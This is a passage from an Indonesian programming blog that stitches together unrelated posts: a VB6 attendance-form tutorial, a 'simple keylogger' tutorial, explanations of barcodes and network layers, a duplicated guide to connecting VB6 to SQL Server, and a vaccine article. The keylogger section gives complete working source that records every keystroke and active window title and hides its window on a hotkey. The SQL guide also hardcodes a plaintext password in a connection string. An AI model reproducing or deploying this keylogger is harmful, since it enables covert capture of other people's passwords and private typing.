Data1.Recordset!nama = Text3.Text
Data1.Recordset!jk = Text7.Text
Data1.Recordset!tgl = Text4.Text
Data1.Recordset!bagian = Text8.Text
Data1.Recordset!masuk = “”
Data1.Recordset!sakit = “”
Data1.Recordset!izin = “”
Data1.Recordset!alpa = “”
Data1.Recordset!total = “”
Data1.Recordset.Update
Data1.Recordset.MoveLast
Else
bersih
End If
End If
Bersih
—————————————————————–
mungkin sedikit ada pertanyaan koq banyak banget ya scriptnya ?, sebenernya script yang pokonya hanya pada bagian yang warna biru , sedangkan warna hijau hanya modifikasi saya aja .
fungsi IF ini memerintahkan agar si user tidak sembarang mengklik , ketika si user mengklik save New data dalam keadaan Tidak mengisi fields-fieldsnya maka akan keluar Informasi “Mohon Isi data dengan Benar”. Tapi jika Nip dan jenis kelamin di isi maka Data akan disimpan di data Base.
Selanjutnya ada :
Data1.Recordset!no = Text1.Text
Data1.Recordset!nip = Text2.Text
Data1.Recordset!nama = Text3.Text
Data1.Recordset!jk = Text7.Text
Data1.Recordset!tgl = Text4.Text
Data1.Recordset!bagian = Text8.Text
Sementara records alpa dan seterusnya saya biarkan kosong ?, pada Tabel1 dalam data base yang kita buat fileds yang kita buat tidak hanya , no,nip,nama, jenis kelamin, tgl dan bagian tapi alpa, izin, sakit, masuk, sementara pada form input hanya menampilkan no,nip,nama, jenis kelamin, tgl, jika hanya ini saja yang akan kita masukan ke database maka akan terjadi error karena tidak dikenal tabel dengan records seperti itu, makanya tetap saya isi tapi isi data tetap dalam keadan kosong, gitu dech cerintanya…
Lanjut , sakarang Double Klik Command2=delete/hapus kemudian masukan script ini:
Private Sub Command2_Click()
If Text10.Text = “” Then
info
Else
info2
End If
End Sub
Untuk script delete sedikit ya?, he….he…J, sebenernya lumayan juga cuama saya simpan dalam bentuk variable (procedure), tapi boleh kok di buat langsung !, .scrip info kayak gini:
Private Sub info()
x = MsgBox(“Tidak Ada Object Untuk di Hapus”, vbOKOnly + vbCritical, “Warning!”)
If x = vbOK Then
End If
End Sub
———————————————————–
Untuk info2 :
————————————————————————————————————
Private Sub info2()
x = MsgBox(“Anda Yakin Untuk Menghapus data Ini?”, vbYesNo + vbInformation, “Informasi”)
If x = vbYes Then
If Data1.Recordset(“nip”) = Text10.Text Then
Data1.Recordset.Delete
Data1.UpdateRecord
Else
Data1.Recordset.Cancel
End If
Else
Text10.SetFocus
End If
End Sub
Kemudian hal yang terpenting adalah Menampilkan Tanggal atau jam ketika Form Ini sedang Di Runing,(dijalankan), tanggal sifatnya Update sesuai dengan jam di system komputer sekarang Doubleklik Icon Jam Yang ada di Form3 kemudian masukan script berikut:
————————————————————————————————————
Private Sub Timer1_Timer()
Text4.Text = Format(Date, “dd/mm/yyyy”)
End Sub
—————————————————————–
Mungkin sampai disini udah pada ngerti kan?, untuk melangkah ke sesi lainya yaitu membuat form input Absensi , kita coba di bagian ke II ya?,………..
Untuk lebih jelasnya kira-kira script keseluruhannya adalah Sbb:
————————————————————————————————————
Private Sub Command1_Click()
If Text2.Text = “” And Text7.Text = “” Then
x = MsgBox(“Mohon Isi Data Dengan benar!”, vbOKOnly + vbCritical, “Warning!”)
If x = vbOK Then
End If
Else
x = MsgBox(“Anda yakin Ingin Menyimpan Data ini?”, vbYesNo + vbInformation, “Information”)
If x = vbYes Then
Data1.Recordset.AddNew
Data1.Recordset!no = Text1.Text
Data1.Recordset!nip = Text2.Text
Data1.Recordset!nama = Text3.Text
Data1.Recordset!jk = Text7.Text
Data1.Recordset!tgl = Text4.Text
Data1.Recordset!bagian = Text8.Text
Data1.Recordset!masuk = “”
Data1.Recordset!sakit = “”
Data1.Recordset!izin = “”
Data1.Recordset!alpa = “”
Data1.Recordset!total = “”
Data1.Recordset.Update
Data1.Recordset.MoveLast
Else
bersih
End If
End If
bersih
End Sub
Private Sub bersih()
Text1.SetFocus
Text1.Text = “Isi Data!”
Text2.Text = “”
Text3.Text = “”
Text7.Text = “”
Text8.Text = “”
End Sub
Private Sub Command2_Click()
If Text10.Text = “” Then
info
Else
info2
End If
End Sub
Private Sub Form_Load()
Text2.Text = “”
Text3.Text = “”
Text3.Text = “”
Text4.Text = “”
Text1.Text = “silahkan Isi Data!”
Text7.Text = “”
Text8.Text = “”
End Sub
Private Sub Text1_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
Text2.SetFocus
End If
End Sub
Private Sub Text2_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
Text3.SetFocus
End If
End Sub
Private Sub Text3_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
Text7.SetFocus
End If
End Sub
Private Sub Text7_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
Text8.SetFocus
End If
End Sub
Private Sub Text8_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
Command1.SetFocus
End If
End Sub
Private Sub Timer1_Timer()
Text4.Text = Format(Date, “dd/mm/yyyy”)
End Sub
Private Sub info()
x = MsgBox(“Tidak Ada Object Untuk di Hapus”, vbOKOnly + vbCritical, “Warning!”)
If x = vbOK Then
End If
End Sub
Private Sub info2()
x = MsgBox(“Anda Yakin Untuk Menhapus data Ini?”, vbYesNo + vbInformation, “Informasi”)
If x = vbYes Then
If Data1.Recordset(“nip”) = Text10.Text Then
Data1.Recordset.Delete
Data1.UpdateRecord
Else
Data1.Recordset.Cancel
End If
Else
Text10.SetFocus
End If
End Sub
Sekarang kita jalankan Form yang telah kita buat caranya
1. kllik aja Run
2. Start untuk menghentikan tinggal Klik Run -Stop
"gimana sob lumayan pajangkan hehehe.... tapi tenang ja Sob dengan ne kan kita jdi di lati cara pembuatan Absensi Melalui Visual Basic ..
Cara membuat key logger sederhana dengan Visual Basic.
Sesuai dengan judul di atas, kali ini saya akan memberikan sedikit tutorial cara membuat key logger sederhana dengan Visual Basic. Oke langsung saja Sob..
1. Siapkan Visual Basic , Disini saya menggunakan Visual Basic 6.0
2. Buka program Visual Basic
3. New Project Standard EXE
4. Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label (Lihat Gambar)
5. Copas seluruh Code di bawah ini :
Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib “user32″ () As Long
Private Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
Private hForegroundWnd As Long
Private backs As BooleanPrivate Sub Command1_Click()
Timer1.Enabled = True
End SubPrivate Sub Command2_Click()
Timer1.Enabled = False
End SubPrivate Sub Command3_Click()
backs = True
End SubPrivate Sub Command4_Click()
backs = False
End SubPrivate Sub Form_Load()
backs = True
End Sub
Private Sub Label1_Click()
End Sub
Private Sub Label4_Click()
End Sub
Private Sub Label6_Click()
Timer1.Enabled = True
End Sub
Private Sub Label7_Click()
Timer1.Enabled = False
End Sub
Private Sub Label8_Click()
backs = True
End Sub
Private Sub Label9_Click()
backs = False
End Sub
Private Sub Text1_Change()
Text1.SelStart = 0
Text1.SelLength = Len(Text1.Text)
End Sub
Private Sub Timer1_Timer()
Dim x, x2, i, t As Integer
Dim win As Long
Dim Title As String * 1000
win = GetForegroundWindow()
If (win = hForegroundWnd) Then
GoTo Keylogger
Else
hForegroundWnd = GetForegroundWindow()
Title = “”
GetWindowText hForegroundWnd, Title, 1000
Select Case Asc(Title)
Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95
Text1.Text = Text1.Text & vbCrLf & vbCrLf & “[ " & Title
Text1.Text = Text1.Text & " ]” & vbCrLf
End Select
End If
Exit Sub
Keylogger:
For i = 65 To 90
x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)
If x = -32767 Then
If x2 = -32768 Then
Text1.Text = Text1.Text & Chr(i)
Else: Text1.Text = Text1.Text & Chr(i + 32)
End If
End If
Next
For i = 8 To 222
If i = 65 Then i = 91
x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)
If x = -32767 Then
Select Case i
Case 48
Text1.Text = Text1.Text & IIf(x2 = -32768, “)”, “0″)
Case 49
Text1.Text = Text1.Text & IIf(x2 = -32768, “!”, “1″)
Case 50
Text1.Text = Text1.Text & IIf(x2 = -32768, “@”, “2″)
Case 51
Text1.Text = Text1.Text & IIf(x2 = -32768, “#”, “3″)
Case 52
Text1.Text = Text1.Text & IIf(x2 = -32768, “$”, “4″)
Case 53
Text1.Text = Text1.Text & IIf(x2 = -32768, “%”, “5″)
Case 54
Text1.Text = Text1.Text & IIf(x2 = -32768, “^”, “6″)
Case 55
Text1.Text = Text1.Text & IIf(x2 = -32768, “&”, “7″)
Case 56
Text1.Text = Text1.Text & IIf(x2 = -32768, “*”, “8″)
Case 57
Text1.Text = Text1.Text & IIf(x2 = -32768, “(“, “9″)
Case 112: Text1.Text = Text1.Text & ” F1 “
Case 113: Text1.Text = Text1.Text & ” F2 “
Case 114: Text1.Text = Text1.Text & ” F3 “
Case 115: Text1.Text = Text1.Text & ” F4 “
Case 116: Text1.Text = Text1.Text & ” F5 “
Case 117: Text1.Text = Text1.Text & ” F6 “
Case 118: Text1.Text = Text1.Text & ” F7 “
Case 119: Text1.Text = Text1.Text & ” F8 “
Case 120: Text1.Text = Text1.Text & ” F9 “
Case 121: Text1.Text = Text1.Text & ” F10 “
Case 122: Text1.Text = Text1.Text & ” F11 “
Case 123: Text1.Text = Text1.Text & ” F12 “
Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, “|”, “\”)
Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, “<”, “,”)
Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, “_”, “-”)
Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, “>”, “.”)
Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, “?”, “/”)
Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, “+”, “=”)
Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, “:”, “;”)
Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), “‘”)
Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, “{“, “[")
Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]“)
Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, “~”, “`”)
Case 8: If backs = True Then If Len(Text1.Text) > 0 Then Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) – 1)
Case 9: Text1.Text = Text1.Text & ” [ Tab ] “
Case 13: Text1.Text = Text1.Text & vbCrLf
Case 17: Text1.Text = Text1.Text & ” [ Ctrl ]“
Case 18: Text1.Text = Text1.Text & ” [ Alt ] “
Case 19: Text1.Text = Text1.Text & ” [ Pause ] “
Case 20: Text1.Text = Text1.Text & ” [ Capslock ] “
Case 27: Text1.Text = Text1.Text & ” [ Esc ] “
Case 32: Text1.Text = Text1.Text & ” “
Case 33: Text1.Text = Text1.Text & ” [ PageUp ] “
Case 34: Text1.Text = Text1.Text & ” [ PageDown ] “
Case 35: Text1.Text = Text1.Text & ” [ End ] “
Case 36: Text1.Text = Text1.Text & ” [ Home ] “
Case 37: Text1.Text = Text1.Text & ” [ Left ] “
Case 38: Text1.Text = Text1.Text & ” [ Up ] “
Case 39: Text1.Text = Text1.Text & ” [ Right ] “
Case 40: Text1.Text = Text1.Text & ” [ Down ] “
Case 41: Text1.Text = Text1.Text & ” [ Select ] “
Case 44: Text1.Text = Text1.Text & ” [ PrintScreen ] “
Case 45: Text1.Text = Text1.Text & ” [ Insert ] “
Case 46: Text1.Text = Text1.Text & ” [ Del ] “
Case 47: Text1.Text = Text1.Text & ” [ Help ] “
Case 91, 92: Text1.Text = Text1.Text & ” [ Windows ] “
End Select
End If
Next
End Sub
Private Sub Timer2_Timer()
Dim a, b, x As Long
a = GetAsyncKeyState(120)
b = GetAsyncKeyState(121)
x = GetAsyncKeyState(16)
If a = -32767 And x = -32768 Then Me.Hide
If b = -32767 And x = -32768 Then Me.Show
End Sub
6. Jalankan dengan menekan tombol F5
" oke Sob selamat mencobah..... :)
Cara Kerja Barcode
Cara Kerja Barcode
Barcode merupakan instrumen yang bekerja berdasarkan asas kerja digital. Pada konsep digital, hanya ada 2 sinyal data yang dikenal dan bersifat boolean, yaitu 0 atau 1. Ada arus listrik atau tidak ada listrik (dengan besaran / tresshold tegangan tertentu, misalnya 5 volt dan 0 volt).
Barcode menerapkannya pada batang-batang baris yang terdiri dari warna hitam dan putih. Warna hitam mewakili bilangan 0 dan warna putih mewakili bilangan 1. Mengapa demikian? Karena warna hitam akan menyerap cahaya yang dipancarkan oleh alat pembaca barcode, sedangkan warna putih akan memantulkan balik cahaya tersebut.
Selanjutnya, masing-masing batang pada barcode memiliki ketebalan yang berbeda. Ketebalan inilah yang akan diterjemahkan pada suatu nilai.
Demikian, karena ketebalan batang barcode menentukan waktu lintasan bagi titik sinar pembaca yang dipancarkan oleh alat pembaca. Dan sebab itu, batang-batang barcode harus dibuat demikian sehingga memiliki kontras yang tinggi terhadap bagian celah antara (yang menentukan cahaya). Sisi-sisi batang barcode harus tegas dan lurus, serta tidak ada lubang atau noda titik ditengah permukaannya.
Sementara itu, ukuran titik sinar pembaca juga tidak boleh melebihi celah antara batang barcode. Saat ini, ukuran titik sinar yang umum digunakan adalah 4 kali titik yang dihasilkan printer pada resolusi 300dpi Saat ini terdapat beberapa jenis instrumen pembaca barcode, yaitu: pena, laser, serta kamera. Pembaca berbentuk pena memiliki pemancar cahaya dan dioda foto yang diletakkan bersebelahan pada ujung pena. Pena disentuhkan dan digerakkan melintasi deretan batang barcode. Dioda foto akan menerima intensitas cahaya yang dipantulkan dan mengubahnya menjadi sinyal listrik, lalu diterjemahkan dengan sistem yang mirip dengan morse. Pembaca dengan pemancar sinar laser tidak perlu digesekkan pada permukaan barcode, tapi dapat dilakukan dari jarak yang relatif lebih jauh. Selain itu, pembaca jenis ini memiliki cermin-cermin pemantul sehingga sudut pembacaan lebih fleksible.
Pembaca barcode dengan sistem kamera menggunaka sensor CCD (charge coupled device) untuk merekam foto barcode, baru kemudian membaca dan menterjemahkannya kedalam sinyal elektronik digital. Bagaimana koneksi alat pembaca barcode dengan komputer?
Ada 2 macam koneksi, yaitu sistem keyboard wedge dan sistem output RS232. Sistem ini menterjemahkan hasil pembacaan barcode sebagai masukan (input) dari keyboard. Biasanya menggunakan port serial pada komputer. Kita memerlukan software pengantara, umumnya disebut software wedge yang akan mengalamatkan bacaan dari barcode ke software pengolah data barcode tersebut.
Dikutip dari Pvidia
Oleh : Tim editor www.pusatbarcode.com
Cara Kerja dan Fungsi physical, Data Link, Network
Cara Kerja dan Fungsi physical, Data Link, Network
Cara Kerja dan Fungsi :
Network
Layer Network mengelola pengalamatan peralatan, melacak lokasi peralatan di jaringan dan menentukan cara terbaik untuk memindahkan data, jadi layer Network harus mengangkut lalu lintas antar peralatan yang tidak terhubung secara lokal. Router berada pada lapisan ini. Contoh: IP, IPX, ARP, RARP.
Datalink
Layer ini menciptakan proses pengiriman data yang baik pada hubungan fisik. Jadi data link akan selalu berhubungan dengan alamat fisik, topologi jaringan, akses jaringan, notifikasi error, flow control. Lapisan ini berhubungan dengan frame dan MAC (Media Access Control). Layer Datalink memiliki dua buah sublayer, yaitu Media Acces Control (MAC) 802.3 dan Logical Link Control (LLC) 802.2. Switch berada pada lapisan ini. Contoh: PPP, SLIP, MTU, Ethernet.
Physical
Layer Physical melakukan dua hal: mengirim bit dan menerima bit. Bit hanya mempunyai dua nilai, 1 dan 0. Layer ini berhubungan dengan masalah listrik, prosedural, mengaktifkan, menjaga, dan menonaktifkan hubungan fisik. Layer ini juga berhubungan dengan tingkatan karakter voltase, waktu perubahan voltase, jarak maksimal transmisi, konektor fisik, dan hal-hal lain yang berhubungan dengan fisik. Hub berada pada lapisan ini. Contoh: 10BaseT, 100BaseTX, HSSI, V.35, X.21.
Diposkan oleh irwan komenk di 05:11
Cara Menghubungkan Visual Basic Dengan Database MS SQL Server
Hai gan,, oke di sini saya punya Cara dan Tips Cara Menghubungkan Visual Basic Dengan Database MS SQL Server. oke langsung saja ke penjelasan nya.
ada beberapa metode untuk menghubungkan Visual Basic dengan Database MS SQL Server saya akan memberikan penjelasan 2 metode diantaranya yaitu koneksi dengan menggunakan komponen DataEnvironment dan koneksi dengan menggunakan kode Program. untuk tutorial ini saya menggunakan Visual Basic 6 dan MS SQL Server 2000.
1. Koneksi menggunakan DataEnvironment
1. Buat Project Standard EXE
2. Klik menu Project | Add Data Environment, maka akan ditampilkan jendela Data Environment seperti ini :
3. Untuk membangun koneksi dengan Database SQL Server, Klik kanan objek Connection1 kemudian pilih Properties maka akan muncul jendela Data Link Properties.
4. Pada jendela Data Link Properties pilih driver untuk koneksi ke MS SQL Server, yaitu Microsoft OLE DB Provider for SQL Server. kemudian klik Next
5. Isi dengan nama server MS SQL Server kamu pada textbox "Select or enter a server name" (nama server adalah nama komputer kamu)
6. Pilih radio button "use a specific username and password" pada bagian 2.Enter information to log on to the server.
7. pada textbox username dan password isi dengan username dan password yang terdaftar di Database SQL Server kamu misalnya "sa" (user sa defaultnya tidak memiliki password). pada contoh ini saya menggunakan username 'yanadoe' dengan password 'bebas'.
8. sebagai tambahan, user sa adalah user yang mempunyai kewenangan penuh terhadap system di MS SQL Server atau disebut system administrator. user ini dibuat secara otomatis oleh MS SQL Server ketika proses instalasi.
9. setelah kamu lakukan langkah diatas, centang Checkbox "Allow saving password" agar kamu tidak perlu menginputkan lagi username dan password setiap kali aplikasi akan dijalankan.
10. Pilih database Northwind pada textbox "Select the database on the server". klik tombol Test Connection untuk mengetahui apakah koneksi sudah berhasil atau tidak jika sukses klik tombol OK untuk menutup window dialog Data Link Properties
Data Link Properties
Setelah tahap diatas, koneksi dari Visual Basic ke Database MS SQL Server sudah terbentuk selanjutnya untuk mengambil data dari sebuah table di Database pertama kamu harus menambahkan sebuah Command pada DataEnvironment, Caranya sebagai berikut :
Mengambil Data dari Database
1. Klik kanan pada jendela DataEnvironment, pilih Add Command. maka akan dibuat sebuah object dengan nama Command1
Klik kanan Command1, pilih Properties. setelah muncul jendela Command1 Properties, pilih Table pada bagian Database Object, dan pilih sebuah table pada bagian Object Name misalnya table Customers. kemudian klik OK
Menampilkan Data dengan DataGrid
1. Pertama kamu harus menambahkan komponen DataGrid pada ToolBox caranya : klik menu Project | Components, pada jendela Components pilih Microsoft DataGrid Control 6.0
2. Setelah objek DataGrid ditambahkan pada Toolbox, klik komponen DataGrid tersebut kemudian Click and Drag pada Form1.
3. Set Properties DataSource menjadi DataEnvironment1, dan Properties DataMember menjadi Command1
4. Klik kanan pada DataGrid, pilih Retrieve Fields klik OK pada Message Dialog yang muncul
5. Data pada table tidak akan langsung ditampilkan pada saat Design, untuk melihat datanya kamu harus Run Program dengan menekan F5.
Pada metode yang kedua ini kita tidak akan menggunakan Komponen Visual untuk mengakses Database SQL Server dari Visual Basic. kita akan menggunakan kode program untuk melakukannya. inilah langkah-langkahnya :
1. Masuk ke Code Editor
2. Deklarasikan variabel untuk koneksi ke Database SQL Server
Public SQLServerConn As ADODB.Connection
3. Karena koneksi ke Database harus sudah tersedia ketika aplikasi akan dijalankan, maka kita harus menambahkan kode Program pada event OnLoad Form1. Caranya dobel klik Form1, kemudian tambahkan kode Program dibawah ini :
* Set variable SQLServerConn sebagai sebuah ADO Database Connection.
Set SQLServerConn = New ADODB.Connection
* Set Parameter String Koneksi variable SQLServerConn agar terhubung dengan Database SQL Server
SQLServerConn.ConnectionString = "Provider=SQLOLEDB.1;" & _
"Password=bebas;Persist Security Info=false;" & _
"User ID=yanadoe;Initial Catalog=Northwind;Data Source=siberat"
* Buka koneksi
SQLServerConn.Open
Coba kamu Stop Service Database SQL Server menggunakan SQL Server Service Manager, dan Run Porgram, maka akan tampil Error message seperti ini :
On Error Resume Next
'memeriksa status Database
'pesan error yang akan muncul jika Database SQL Server
'dalam keadaan mati (service dalam status stop)
If Err.Number = -2147467259 Then
MsgBox "Tidak dapat menghubungi Database SQL Server." & vbCrLf & _
"Pastikan Service Database SQL Server sudah berjalan", vbCritical , "Koneksi Gagal"
End 'Tutup Aplikasi
End If
Tips : Kamu bisa gunakan komponen ADODC untuk mendapatkan parameter ConnectionString seperti diatas, caranya sebagai berikut:
* tempatkan sebuah komponen ADODC pada form
* Klik kanan, pilih ADODC Properties, Klik Build, akan muncul jendela Property Pages.
* Lakukan langkah 4 s/d langkah 10 pada Koneksi menggunakan DataEnvironment diatas. setelah itu Copy string koneksi yang ada bagian "Use Connection String" jendela Property Pages. metode ini bisa juga digunakan untuk mendapatkan parameter ConnectionString untuk jenis Database yang lain
Cara Menghubungkan Visual Basic Dengan Database MS SQL Server
Cara Menghubungkan Visual Basic Dengan Database MS SQL Server
Hai Teman-teman di sini saya punya Cara dan Tips Cara Menghubungkan Visual Basic Dengan Database MS SQL Server. oke langsung saja ke penjelasan nya.
ada beberapa metode untuk menghubungkan Visual Basic dengan Database MS SQL Server saya akan memberikan penjelasan 2 metode diantaranya yaitu koneksi dengan menggunakan komponen DataEnvironment dan koneksi dengan menggunakan kode Program. untuk tutorial ini saya menggunakan Visual Basic 6 dan MS SQL Server 2000.
1. Koneksi menggunakan DataEnvironment
1. Buat Project Standard EXE
2. Klik menu Project | Add Data Environment, maka akan ditampilkan jendela Data Environment seperti ini :
3. Untuk membangun koneksi dengan Database SQL Server, Klik kanan objek Connection1 kemudian pilih Properties maka akan muncul jendela Data Link Properties.
4. Pada jendela Data Link Properties pilih driver untuk koneksi ke MS SQL Server, yaitu Microsoft OLE DB Provider for SQL Server. kemudian klik Next
5. Isi dengan nama server MS SQL Server kamu pada textbox "Select or enter a server name" (nama server adalah nama komputer kamu)
6. Pilih radio button "use a specific username and password" pada bagian 2.Enter information to log on to the server.
7. pada textbox username dan password isi dengan username dan password yang terdaftar di Database SQL Server kamu misalnya "sa" (user sa defaultnya tidak memiliki password). pada contoh ini saya menggunakan username 'yanadoe' dengan password 'bebas'.
8. sebagai tambahan, user sa adalah user yang mempunyai kewenangan penuh terhadap system di MS SQL Server atau disebut system administrator. user ini dibuat secara otomatis oleh MS SQL Server ketika proses instalasi.
9. setelah kamu lakukan langkah diatas, centang Checkbox "Allow saving password" agar kamu tidak perlu menginputkan lagi username dan password setiap kali aplikasi akan dijalankan.
10. Pilih database Northwind pada textbox "Select the database on the server". klik tombol Test Connection untuk mengetahui apakah koneksi sudah berhasil atau tidak jika sukses klik tombol OK untuk menutup window dialog Data Link Properties
Data Link Properties
Setelah tahap diatas, koneksi dari Visual Basic ke Database MS SQL Server sudah terbentuk selanjutnya untuk mengambil data dari sebuah table di Database pertama kamu harus menambahkan sebuah Command pada DataEnvironment, Caranya sebagai berikut :
Mengambil Data dari Database
1. Klik kanan pada jendela DataEnvironment, pilih Add Command. maka akan dibuat sebuah object dengan nama Command1
Klik kanan Command1, pilih Properties. setelah muncul jendela Command1 Properties, pilih Table pada bagian Database Object, dan pilih sebuah table pada bagian Object Name misalnya table Customers. kemudian klik OK
Menampilkan Data dengan DataGrid
1. Pertama kamu harus menambahkan komponen DataGrid pada ToolBox caranya : klik menu Project | Components, pada jendela Components pilih Microsoft DataGrid Control 6.0
2. Setelah objek DataGrid ditambahkan pada Toolbox, klik komponen DataGrid tersebut kemudian Click and Drag pada Form1.
3. Set Properties DataSource menjadi DataEnvironment1, dan Properties DataMember menjadi Command1
4. Klik kanan pada DataGrid, pilih Retrieve Fields klik OK pada Message Dialog yang muncul
5. Data pada table tidak akan langsung ditampilkan pada saat Design, untuk melihat datanya kamu harus Run Program dengan menekan F5.
Pada metode yang kedua ini kita tidak akan menggunakan Komponen Visual untuk mengakses Database SQL Server dari Visual Basic. kita akan menggunakan kode program untuk melakukannya. inilah langkah-langkahnya :
1. Masuk ke Code Editor
2. Deklarasikan variabel untuk koneksi ke Database SQL Server
Public SQLServerConn As ADODB.Connection
3. Karena koneksi ke Database harus sudah tersedia ketika aplikasi akan dijalankan, maka kita harus menambahkan kode Program pada event OnLoad Form1. Caranya dobel klik Form1, kemudian tambahkan kode Program dibawah ini :
* Set variable SQLServerConn sebagai sebuah ADO Database Connection.
Set SQLServerConn = New ADODB.Connection
* Set Parameter String Koneksi variable SQLServerConn agar terhubung dengan Database SQL Server
SQLServerConn.ConnectionString = "Provider=SQLOLEDB.1;" & _
"Password=bebas;Persist Security Info=false;" & _
"User ID=yanadoe;Initial Catalog=Northwind;Data Source=siberat"
* Buka koneksi
SQLServerConn.Open
Coba kamu Stop Service Database SQL Server menggunakan SQL Server Service Manager, dan Run Porgram, maka akan tampil Error message seperti ini :
On Error Resume Next
'memeriksa status Database
'pesan error yang akan muncul jika Database SQL Server
'dalam keadaan mati (service dalam status stop)
If Err.Number = -2147467259 Then
MsgBox "Tidak dapat menghubungi Database SQL Server." & vbCrLf & _
"Pastikan Service Database SQL Server sudah berjalan", vbCritical , "Koneksi Gagal"
End 'Tutup Aplikasi
End If
Tips : Kamu bisa gunakan komponen ADODC untuk mendapatkan parameter ConnectionString seperti diatas, caranya sebagai berikut:
* tempatkan sebuah komponen ADODC pada form
* Klik kanan, pilih ADODC Properties, Klik Build, akan muncul jendela Property Pages.
* Lakukan langkah 4 s/d langkah 10 pada Koneksi menggunakan DataEnvironment diatas. setelah itu Copy string koneksi yang ada bagian "Use Connection String" jendela Property Pages. metode ini bisa juga digunakan untuk mendapatkan parameter ConnectionString untuk jenis Database yang lain
Kegunaan Virus Dalam Kehidupan "@"
Kegunaan Virus Dalam Kehidupan
Melalui penerapan teknologi biologi, berbagai penyakit yang disebabkan oleh virus yang telah dihindari dengan menggunakan vaksin yang berkerja efektif terhadap virus. Metode baku untuk memproduksi vaksin anti virus adalah sebagai berikut:
1. Menumbuhkan virus di dalam tubuh hewan yang cocok atau di dalam sel yang ditumbuhkan di laboratorium.
2.Virus dimatikan atau dilemahkan sebelum diinjeksikan pada tubuh manusia. Sebagai respons terhadap virus ini, sistem kekebalan tubuh akan membuat antibodi yang telah terbentuk ini akan diingat oleh sistem kekebalan tubuh dan dapat digunukan bila sewaktu-waktu terjadi.
Pembutan vaksin
Belum lama ini para ilmuwan telah berhasil mengkultur sel-sel vertebrata dalam berbagai ukuran. Prosesnya dimulai dengan memberi enzim proteolitik, misalnya tripsin, pada jaringan yang sesuai untuk memisahkan sel-sel. Sel-sel lalu diberi nutrien tertentu untuk melekatkan sel-sel tersebut di wadah. Sel-sel tersebut akan membelah secara mitosis membentuk satu lapis sel. Sel ini dapat digunakan untuk membentuk kultur sekunder.
Agar sel-sel kultur ini terus membelah, maka ditamhkan bahan kimia atau virus-virus yang mendorong pembentukan sel-sel kanker. Sel-sel tersebut disebut neoplastik.
vaksin dapat dibuat dengan bantuan mikroorganisme (virus, bakteri) yang dilemahkan ataupun toksin yang dihasilkan mikroorganisme tersebut. Namun sering kali vaksin juga menyebabkan berbagai efek samping yang merugikan, misalnya
1. Mikroorganisme yang di gunakan untuk membuat vaksin mungkin masih ,melanjutkan proses metabolisme.
2. mikroorganisme yang digunakan untuk membuat vaksin mungkin masih memiliki kemampuan menyebabkan penyakit.
3. ada sebagian orang yang elergi terhadap sisa-sisa sel yang ditinggalkan dari produksi vaksin meskipun sudah dilakukan proses pemurnian.
4. Orang-orang yang bekerja dalam pembuatan vaksin mungkin bersentuhan dengan organisme berbahaya yang digunakan sebagai bahan pembuat vaksin meskipun dicegah dengan pengaman (masker, sarung tangan).
Dengan adanya masalah-masalah di atas, maka pembuatan vaksin secara konvensional di ubah mengunakan rekayasa genetika untuk mengurangi resiko yang tidak diinginkan. Prinsip-prinsip rekayasa genetika dalam pembuatan vaksin adalah:
1. Mengisolasi (memisahkan) gen-gen penyebab penyakit berperang menghasilkan antigen untuk merangsang limfosif inang dalam menghasilkan antibodi.
2. menyisifkan gen-gen di atas ke tubuh organisme yang kurang patogen.
3. mengkultur organisme hasil rekayasa, sehingga menghasilkan antigen dalam jumlah banyak.
4. mengekstraksi antigen, lalu digunakan sebagai vaksin.
Dari beberapa penerapan kultur sel hewan, produksi vaksin virus adalah yang pertama dilakukan. prosesnya adalah virus ditumbuhkan dalam kultur sel, misalnya sel dari embrio ayam atau ginjal monyet. Kemudian, panen dari virus-virus tersebut diekstrasi dengan penyaringan. Virus tersebut dilemahkan (disebut vaksin)dan dapat disimpan dalam suhu rendah hingga siap digunakan. Contoh vaksin yang dibuat dengan cara ini adalah poliomielitis, gondong, cacar air, rubela, dan rabies.
Adanya vaksin memungkinkan kekebalan tubuh bekerja, misalnya membentuk antibodi. Atau membantu tubuh membentuk sel penting yang akan menghasilkan antibodi jika penyakit timbul dalam satu bentuk virulen.(rm)
Rabu, 19 Desember 2012
Cara Transfer data dari Visual Basic ke Excel.
Cara Transfer data dari Visual Basic ke Excel.
Melalui form Visual Basic kita dapat menentukan ke baris
dan kolom mana data tersebut akan ditempatkan di sheet Excel.
Caranya:
1. Buat 2 buah kontrol
TextBox dan 1 buah kontrol CommandButton pada form Visual Basic
2. Ubah Properties kontrol tersebut--->Ini bisa
terserah anda
Dalam contoh ini propertiesnya sebagai berikut:
- TextBox = T1 dan T2
- CommandButton = CB1 --> Pada Caption ketik Transfer
Data Ke Excel
